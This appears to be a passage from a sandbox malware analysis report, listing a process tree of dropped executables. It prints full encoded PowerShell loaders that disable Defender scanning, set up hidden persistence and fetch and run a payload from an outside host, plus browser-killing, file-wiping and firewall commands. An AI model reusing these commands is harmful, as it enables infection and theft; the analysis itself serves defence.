wB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBSAHUAbgB0ACcAKwAnAGkAbQBlAEIAcgBvAGsAJwArACcAZQAnACsAJwByAFMAZQAnACsAJwByAHYAaQAnACsAJwBjACcAKwAnAGUAJwApACAALwB0AHIAIAAoACQAcAAyAHQAIAArACAAJwBcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAgAC0ARQBtAGIAZQBkAGQAaQBuAGcAJwApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAPQBbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQByAHYAZQByAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBWAGEAbABpAGQAYQB0AGkAbwBuAEMAYQBsAGwAYgBhAGMAawA9AHsAJAB0AHIAdQBlAH0AOwAkAGkAdgA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgADEANgA7AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBSAGEAbgBkAG8AbQBOAHUAbQBiAGUAcgBHAGUAbgBlAHIAYQB0AG8AcgBdADoAOgBDAHIAZQBhAHQAZQAoACkALgBHAGUAdABCAHkAdABlAHMAKAAkAGkAdgApADsAJABhAGUAcwA9AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBBAGUAcwBdADoAOgBDAHIAZQBhAHQAZQAoACkAOwAkAGEAZQBzAC4ASwBlAHkAPQBbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACgAJwA0ADEANwAxACcAKwAnADIAOQA2ADEAMgA5ADQAOQAnACsAJwAxADEANAAxADEANgA3ADMAJwArACcAMAA4ACcAKwAnADkAMQA2ADcAMwAzADkAOQAnACsAJwAwADEAJwApACkAOwAkAGEAZQBzAC4ASQBWAD0AJABpAHYAOwAkAGEAZQBzAC4ATQBvAGQAZQA9ACgALQBqAG8AaQBuACgAJwBDAEIAJwAsACcAQwAnACkAKQA7ACQAYQBlAHMALgBQAGEAZABkAGkAbgBnAD0AKAAnAFAASwAnACsAJwBDAFMAJwArACcANwAnACkAOwAkAGMAbQBkAD0AWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAoAC0AagBvAGkAbgAoACcAZwBlACcALAAnAHQAUAAnACwAJwBhAHkAbABvACcALAAnAGEAJwAsACcAZAAnACkAKQApADsAJABlAG4AYwBDAG0AZAA9ACQAYQBlAHMALgBDAHIAZQBhAHQAZQBFAG4AYwByAHkAcAB0AG8AcgAoACkALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABjAG0AZAAsADAALAAkAGMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAYgBvAGQAeQA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgACgAJABpAHYALgBMAGUAbgBnAHQAaAArACQAZQBuAGMAQwBtAGQALgBMAGUAbgBnAHQAaAApADsAWwBBAHIAcgBhAHkAXQA6ADoAQwBvAHAAeQAoACQAaQB2ACwAJABiAG8AZAB5ACwAMQA2ACkAOwBbAEEAcgByAGEAeQBdADoAOgBDAG8AcAB5ACgAJABlAG4AYwBDAG0AZAAsADAALAAkAGIAbwBkAHkALAAxADYALAAkAGUAbgBjAEMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAdwBjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACgALQBqAG8AaQBuACgAJwBDACcALAAnAG8AbgB0AGUAbgAnACwAJwB0AC0AVAB5ACcALAAnAHAAZQAnACkAKQAsACgAJwBhAHAAcAAnACsAJwBsAGkAYwAnACsAJwBhAHQAaQBvAG4AJwArACcALwBvAGMAdABlAHQALQBzACcAKwAnAHQAcgBlACcAKwAnAGEAbQAnACkAKQA7ACQAZABhAHQAYQA9ACQAdwBjAC4AVQBwAGwAbwBhAGQARABhAHQAYQAoACcAaAB0AHQAcABzADoALwAvAG4AaQBrAG8AYgBvAHMAcwB0AC4AYwBjADoANAA0ADMAJwAsACQAYgBvAGQAeQApADsAJAByAGkAdgA9AFsAYgB5AHQAZQBbAF0AXQAkAGQAYQB0AGEAWwAwAC4ALgAxADUAXQA7ACQAZQBuAGMAPQBbAGIAeQB0AGUAWwBdAF0AJABkAGEAdABhAFsAMQA2AC4ALgAoACQAZABhAHQAYQAuAEwAZQBuAGcAdABoAC0AMQApAF0AOwAkAGEAZQBzAC4ASQBWAD0AJAByAGkAdgA7ACQAZABlAGMAPQAkAGEAZQBzAC4AQwByAGUAYQB0AGUARABlAGMAcgB5AHAAdABvAHIAKAApAC4AVAByAGEAbgBzAGYAbwByAG0ARgBpAG4AYQBsAEIAbABvAGMAawAoACQAZQBuAGMALAAwACwAJABlAG4AYwAuAEwAZQBuAGcAdABoACkAOwBbAEkATwAuAEYAaQBsAGUAXQA6ADoAVwByAGkAdABlAEEAbABsAEIAeQB0AGUAcwAoACgAJABwADEAIAArACAAKAAnAFwAcwB2AGMAJwArACcAaABvAHMAdAAuAGUAJwArACcAeABlACcAKQApACwAJABkAGUAYwApADsAQwBvAHAAeQAtAEkAdABlAG0AIAAoACQAcAAxACAAKwAgACgAJwBcAHMAJwArACcAdgBjAGgAbwAnACsAJwBzACcAKwAnAHQALgBlACcAKwAnAHgAJwArACcAZQAnACkAKQAgACIAJABwADIAdABcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAiACAALQBGAG8AcgBjAGUAOwBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAKAAkAHAAMQAgACsAIAAoACcAXABzAHYAYwAnACsAJwBoAG8AcwB0AC4AZQAnACsAJwB4AGUAJwApACkAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuADsA6⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\attrib.exe"C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker7⤵
- Views/modifies file attributes
-
-
C:\Windows\system32\attrib.exe"C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy7⤵
- Views/modifies file attributes
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /reg:647⤵
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker /t REG_DWORD /d 0 /f /reg:647⤵
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy /t REG_DWORD /d 0 /f /reg:647⤵
-
-
C:\Windows\system32\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force /target:computer7⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV18⤵
-
-
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /tn WindowsSystemService /tr C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker\svchost.exe /sc onlogon /rl highest /f7⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /tn RuntimeBrokerService /tr "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy\AC\Temp\RuntimeBroker.exe -Embedding" /sc onlogon /rl highest /f7⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" --headless --disable-gpu5⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --disable-gpu5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\RedX_Setup.exe"C:\Users\Admin\AppData\Local\Temp\a\RedX_Setup.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\RedX_Setup.exeC:\Users\Admin\AppData\Local\Temp\a\RedX_Setup.exe4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\vnc.exe"C:\Users\Admin\AppData\Local\Temp\a\vnc.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\XClient...exe"C:\Users\Admin\AppData\Local\Temp\a\XClient...exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\grab.exe"C:\Users\Admin\AppData\Local\Temp\a\grab.exe"3⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM msedge.exe /T4⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM chrome.exe /T4⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM msedgewebview2.exe /T4⤵
- Kills process with taskkill
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\4J8576A0E8V3.exe"C:\Users\Admin\AppData\Local\Temp\a\4J8576A0E8V3.exe"3⤵
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe"4⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --incognito5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABsAGEAPQAkAGUAbgB2ADoATABPAEMAQQBMAEEAUABQAEQAQQBUAEEAOwAkAHAAMQA9ACgAJABsAGEAIAArACAAKAAnAFwAJwArACcATQBpAGMAcgBvAHMAbwBmACcAKwAnAHQAXABPAGYAZgBpAGMAZQAnACsAJwBCACcAKwAnAHIAbwBrACcAKwAnAGUAJwArACcAcgAnACkAKQA7ACQAcAAyAD0AKAAkAGwAYQAgACsAIAAoACcAXABQAGEAYwBrAGEAJwArACcAZwBlAHMAXABNACcAKwAnAGkAYwByACcAKwAnAG8AcwBvAGYAJwArACcAdAAuAFcAaQAnACsAJwBuACcAKwAnAGQAbwB3AHMALgBQAGUAbwAnACsAJwBwAGwAZQBFACcAKwAnAHgAJwArACcAcABlAHIAaQBlAG4AYwBlACcAKwAnAEgAbwBzAHQAXwBnAHcAJwArACcAMQBuADEAYwAyAGYAaAAnACsAJwB5AGUAJwArACcAcQAnACsAJwB5ACcAKQApADsAJABwADIAdAA9ACgAJABwADIAIAArACAAKAAtAGoAbwBpAG4AKAAnAFwAQQBDACcALAAnAFwAVABlACcALAAnAG0AcAAnACkAKQApADsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwADEAIAAtAEkAdABlAG0AVAB5AHAAZQAgAEQAaQByAGUAYwB0AG8AcgB5ACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAOwBOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAHAAMgB0ACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsADsAYQB0AHQAcgBpAGIAIAArAGgAIAArAHMAIAAkAHAAMQA7AGEAdAB0AHIAaQBiACAAKwBoACAAKwBzACAAJABwADIAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwAnACwAJwBMAE0AJwAsACcAXABTACcALAAnAE8ARgBUAFcAQQBSAEUAXAAnACwAJwBQAG8AbABpACcALAAnAGMAaQBlACcALAAnAHMAXABNAGkAYwByAG8AJwAsACcAcwBvAGYAdABcAFcAJwAsACcAaQBuAGQAbwAnACwAJwB3AHMAIABEAGUAZgBlAG4AJwAsACcAZABlAHIAXABFAHgAYwAnACwAJwBsAHUAcwAnACwAJwBpAG8AbgBzAFwAUABhACcALAAnAHQAJwAsACcAaABzACcAKQApACAALwBmACAALwByAGUAZwA6ADYANAA7AHIAZQBnACAAYQBkAGQAIAAoAC0AagBvAGkAbgAoACcASAAnACwAJwBLAEwATQBcAFMATwBGAFQAJwAsACcAVwBBAFIARQAnACwAJwBcAFAAbwBsAGkAYwAnACwAJwBpAGUAcwBcAE0AaQBjAHIAJwAsACcAbwBzAG8AZgB0AFwAJwAsACcAVwBpAG4AZAAnACwAJwBvAHcAcwAgAEQAZQAnACwAJwBmAGUAbgBkAGUAJwAsACcAcgAnACwAJwBcAEUAeABjAGwAdQBzAGkAJwAsACcAbwBuAHMAXAAnACwAJwBQAGEAdABoAHMAJwApACkAIAAvAHYAIAAkAHAAMQAgAC8AdAAgAFIARQBHAF8ARABXAE8AUgBEACAALwBkACAAMAAgAC8AZgAgAC8AcgBlAGcAOgA2ADQAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwBMAE0AXABTAE8ARgAnACwAJwBUAFcAJwAsACcAQQBSAEUAXABQACcALAAnAG8AbABpAGMAaQBlAHMAXAAnACwAJwBNAGkAYwByAG8AcwAnACwAJwBvAGYAdABcAFcAaQBuAGQAJwAsACcAbwB3AHMAIABEAGUAJwAsACcAZgBlAG4AZAAnACwAJwBlAHIAJwAsACcAXABFAHgAYwBsAHUAcwBpACcALAAnAG8AbgBzACcALAAnAFwAUABhAHQAaABzACcAKQApACAALwB2ACAAJABwADIAIAAvAHQAIABSAEUARwBfAEQAVwBPAFIARAAgAC8AZAAgADAAIAAvAGYAIAAvAHIAZQBnADoANgA0ADsAdAByAHkAewBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABwADEAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAHAAMgAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAfQBjAGEAdABjAGgAewB9AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIABnAHAAdQBwAGQAYQB0AGUAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAvAGYAbwByAGMAZQAnACwAJwAvAHQAYQByAGcAZQB0ADoAYwBvAG0AcAB1AHQAZQByACcAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuACAALQBXAGEAaQB0ACAAMgA+ACQAbgB1AGwAbAA7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADIAMAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBXAGkAbgBkAG8AdwBzACcAKwAnAFMAJwArACcAeQBzAHQAZQBtAFMAZQAnACsAJwByAHYAaQBjAGUAJwApACAALwB0AHIAIAAoACQAcAAxACAAKwAgACgALQBqAG8AaQBuACgAJwBcACcALAAnAHMAdgBjAGgAJwAsACcAbwBzAHQALgBlACcALAAnAHgAZQAnACkAKQApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBSAHUAbgB0ACcAKwAnAGkAbQBlAEIAcgBvAGsAJwArACcAZQAnACsAJwByAFMAZQAnACsAJwByAHYAaQAnACsAJwBjACcAKwAnAGUAJwApACAALwB0AHIAIAAoACQAcAAyAHQAIAArACAAJwBcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAgAC0ARQBtAGIAZQBkAGQAaQBuAGcAJwApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAPQBbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQByAHYAZQByAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBWAGEAbABpAGQAYQB0AGkAbwBuAEMAYQBsAGwAYgBhAGMAawA9AHsAJAB0AHIAdQBlAH0AOwAkAGkAdgA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgADEANgA7AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBSAGEAbgBkAG8AbQBOAHUAbQBiAGUAcgBHAGUAbgBlAHIAYQB0AG8AcgBdADoAOgBDAHIAZQBhAHQAZQAoACkALgBHAGUAdABCAHkAdABlAHMAKAAkAGkAdgApADsAJABhAGUAcwA9AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBBAGUAcwBdADoAOgBDAHIAZQBhAHQAZQAoACkAOwAkAGEAZQBzAC4ASwBlAHkAPQBbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACgAJwA0ADEANwAxACcAKwAnADIAOQA2ADEAMgA5ADQAOQAnACsAJwAxADEANAAxADEANgA3ADMAJwArACcAMAA4ACcAKwAnADkAMQA2ADcAMwAzADkAOQAnACsAJwAwADEAJwApACkAOwAkAGEAZQBzAC4ASQBWAD0AJABpAHYAOwAkAGEAZQBzAC4ATQBvAGQAZQA9ACgALQBqAG8AaQBuACgAJwBDAEIAJwAsACcAQwAnACkAKQA7ACQAYQBlAHMALgBQAGEAZABkAGkAbgBnAD0AKAAnAFAASwAnACsAJwBDAFMAJwArACcANwAnACkAOwAkAGMAbQBkAD0AWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAoAC0AagBvAGkAbgAoACcAZwBlACcALAAnAHQAUAAnACwAJwBhAHkAbABvACcALAAnAGEAJwAsACcAZAAnACkAKQApADsAJABlAG4AYwBDAG0AZAA9ACQAYQBlAHMALgBDAHIAZQBhAHQAZQBFAG4AYwByAHkAcAB0AG8AcgAoACkALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABjAG0AZAAsADAALAAkAGMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAYgBvAGQAeQA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgACgAJABpAHYALgBMAGUAbgBnAHQAaAArACQAZQBuAGMAQwBtAGQALgBMAGUAbgBnAHQAaAApADsAWwBBAHIAcgBhAHkAXQA6ADoAQwBvAHAAeQAoACQAaQB2ACwAJABiAG8AZAB5ACwAMQA2ACkAOwBbAEEAcgByAGEAeQBdADoAOgBDAG8AcAB5ACgAJABlAG4AYwBDAG0AZAAsADAALAAkAGIAbwBkAHkALAAxADYALAAkAGUAbgBjAEMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAdwBjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACgALQBqAG8AaQBuACgAJwBDACcALAAnAG8AbgB0AGUAbgAnACwAJwB0AC0AVAB5ACcALAAnAHAAZQAnACkAKQAsACgAJwBhAHAAcAAnACsAJwBsAGkAYwAnACsAJwBhAHQAaQBvAG4AJwArACcALwBvAGMAdABlAHQALQBzACcAKwAnAHQAcgBlACcAKwAnAGEAbQAnACkAKQA7ACQAZABhAHQAYQA9ACQAdwBjAC4AVQBwAGwAbwBhAGQARABhAHQAYQAoACcAaAB0AHQAcABzADoALwAvAG4AaQBrAG8AYgBvAHMAcwB0AC4AYwBjADoANAA0ADMAJwAsACQAYgBvAGQAeQApADsAJAByAGkAdgA9AFsAYgB5AHQAZQBbAF0AXQAkAGQAYQB0AGEAWwAwAC4ALgAxADUAXQA7ACQAZQBuAGMAPQBbAGIAeQB0AGUAWwBdAF0AJABkAGEAdABhAFsAMQA2AC4ALgAoACQAZABhAHQAYQAuAEwAZQBuAGcAdABoAC0AMQApAF0AOwAkAGEAZQBzAC4ASQBWAD0AJAByAGkAdgA7ACQAZABlAGMAPQAkAGEAZQBzAC4AQwByAGUAYQB0AGUARABlAGMAcgB5AHAAdABvAHIAKAApAC4AVAByAGEAbgBzAGYAbwByAG0ARgBpAG4AYQBsAEIAbABvAGMAawAoACQAZQBuAGMALAAwACwAJABlAG4AYwAuAEwAZQBuAGcAdABoACkAOwBbAEkATwAuAEYAaQBsAGUAXQA6ADoAVwByAGkAdABlAEEAbABsAEIAeQB0AGUAcwAoACgAJABwADEAIAArACAAKAAnAFwAcwB2AGMAJwArACcAaABvAHMAdAAuAGUAJwArACcAeABlACcAKQApACwAJABkAGUAYwApADsAQwBvAHAAeQAtAEkAdABlAG0AIAAoACQAcAAxACAAKwAgACgAJwBcAHMAJwArACcAdgBjAGgAbwAnACsAJwBzACcAKwAnAHQALgBlACcAKwAnAHgAJwArACcAZQAnACkAKQAgACIAJABwADIAdABcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAiACAALQBGAG8AcgBjAGUAOwBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAKAAkAHAAMQAgACsAIAAoACcAXABzAHYAYwAnACsAJwBoAG8AcwB0AC4AZQAnACsAJwB4AGUAJwApACkAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuADsA6⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\attrib.exe"C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker7⤵
- Views/modifies file attributes
-
-
C:\Windows\system32\attrib.exe"C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy7⤵
- Views/modifies file attributes
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /reg:647⤵
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker /t REG_DWORD /d 0 /f /reg:647⤵
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy /t REG_DWORD /d 0 /f /reg:647⤵
-
-
C:\Windows\system32\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force /target:computer7⤵
-
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /tn WindowsSystemService /tr C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker\svchost.exe /sc onlogon /rl highest /f7⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /tn RuntimeBrokerService /tr "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy\AC\Temp\RuntimeBroker.exe -Embedding" /sc onlogon /rl highest /f7⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" --headless --disable-gpu5⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\net_launcher.exe"C:\Users\Admin\AppData\Local\Temp\a\net_launcher.exe"3⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe /C "timeout /T 5 /NOBREAK >nul & fsutil file seteof "C:\Users\Admin\AppData\Local\Temp\ihh2t5ew.v41.hrz" 0 & copy /b nul "C:\Users\Admin\AppData\Local\Temp\ihh2t5ew.v41.hrz" >nul & del /F /Q "C:\Users\Admin\AppData\Local\Temp\ihh2t5ew.v41.hrz" & exit"4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\timeout.exetimeout /T 5 /NOBREAK5⤵
- Delays execution with timeout.exe
-
-
C:\Windows\system32\fsutil.exefsutil file seteof "C:\Users\Admin\AppData\Local\Temp\ihh2t5ew.v41.hrz" 05⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\Pulsar-Client.exe"C:\Users\Admin\AppData\Local\Temp\a\Pulsar-Client.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\123123.exe"C:\Users\Admin\AppData\Local\Temp\a\123123.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\peinf.exe"C:\Users\Admin\AppData\Local\Temp\a\peinf.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Rsvp_invite%23903388.exe"C:\Users\Admin\AppData\Local\Temp\a\Rsvp_invite%23903388.exe"3⤵
-
C:\Program Files (x86)\CentraStage\Gui.exe"C:\Program Files (x86)\CentraStage\Gui.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\PPTV(pplive)_forap_1084_9993.exe"C:\Users\Admin\AppData\Local\Temp\a\PPTV(pplive)_forap_1084_9993.exe"3⤵
-
C:\Windows\SysWOW64\regsvr32.exeregsvr32 /s "C:\Program Files (x86)\Internet Explorer\PPLite\plugin\1.0.1.1058\pplugin2.dll"4⤵
-
-
C:\Program Files (x86)\PPLive\PPTV\3.1.5.0065\SkinConverter.exe"C:\Program Files (x86)\PPLive\PPTV\3.1.5.0065\SkinConverter.exe"4⤵
-
-
C:\Windows\SysWOW64\Rundll32.exe"C:\Windows\SysWOW64\Rundll32.exe" "C:\Windows\SysWOW64\PPTVSvc.dll" RundllCmd -i4⤵
-
-
C:\Windows\SysWOW64\Rundll32.exe"C:\Windows\SysWOW64\Rundll32.exe" "C:\Windows\SysWOW64\PPTVSvc.dll" RundllCmd -start4⤵
-
-
C:\Windows\system32\regsvr32.exe"C:\Windows\system32\regsvr32.exe" /s C:\Windows\system32\kindling.dll4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\nsiF0E8.tmp\firewall.exe"C:\Users\Admin\AppData\Local\Temp\nsiF0E8.tmp\firewall.exe" /PPTVPATH=C:\Program Files (x86)\PPLive\PPTV /PPTVVERSION=3.1.5.00654⤵
-
C:\Windows\SysWOW64\netsh.exenetsh firewall add allowedprogram "C:\Program Files (x86)\PPLive\PPTV\PPLive.exe" PPLive Enable5⤵
- Modifies Windows Firewall
-
-
C:\Windows\SysWOW64\netsh.exenetsh firewall add allowedprogram "C:\Program Files (x86)\PPLive\PPTV\3.1.5.0065\PPLiveU.exe" PPLiveU Enable5⤵
- Modifies Windows Firewall
-
-
C:\Windows\SysWOW64\netsh.exenetsh firewall add allowedprogram "C:\Program Files (x86)\PPLive\PPTV\3.1.5.0065\RepairSetup.exe" RepairSetup.exe Enable5⤵
- Modifies Windows Firewall
-
-
C:\Windows\SysWOW64\netsh.exenetsh firewall add allowedprogram "C:\Program Files (x86)\PPLive\PPTV\3.1.5.0065\CrashReporter.exe" CrashReporter.exe Enable5⤵
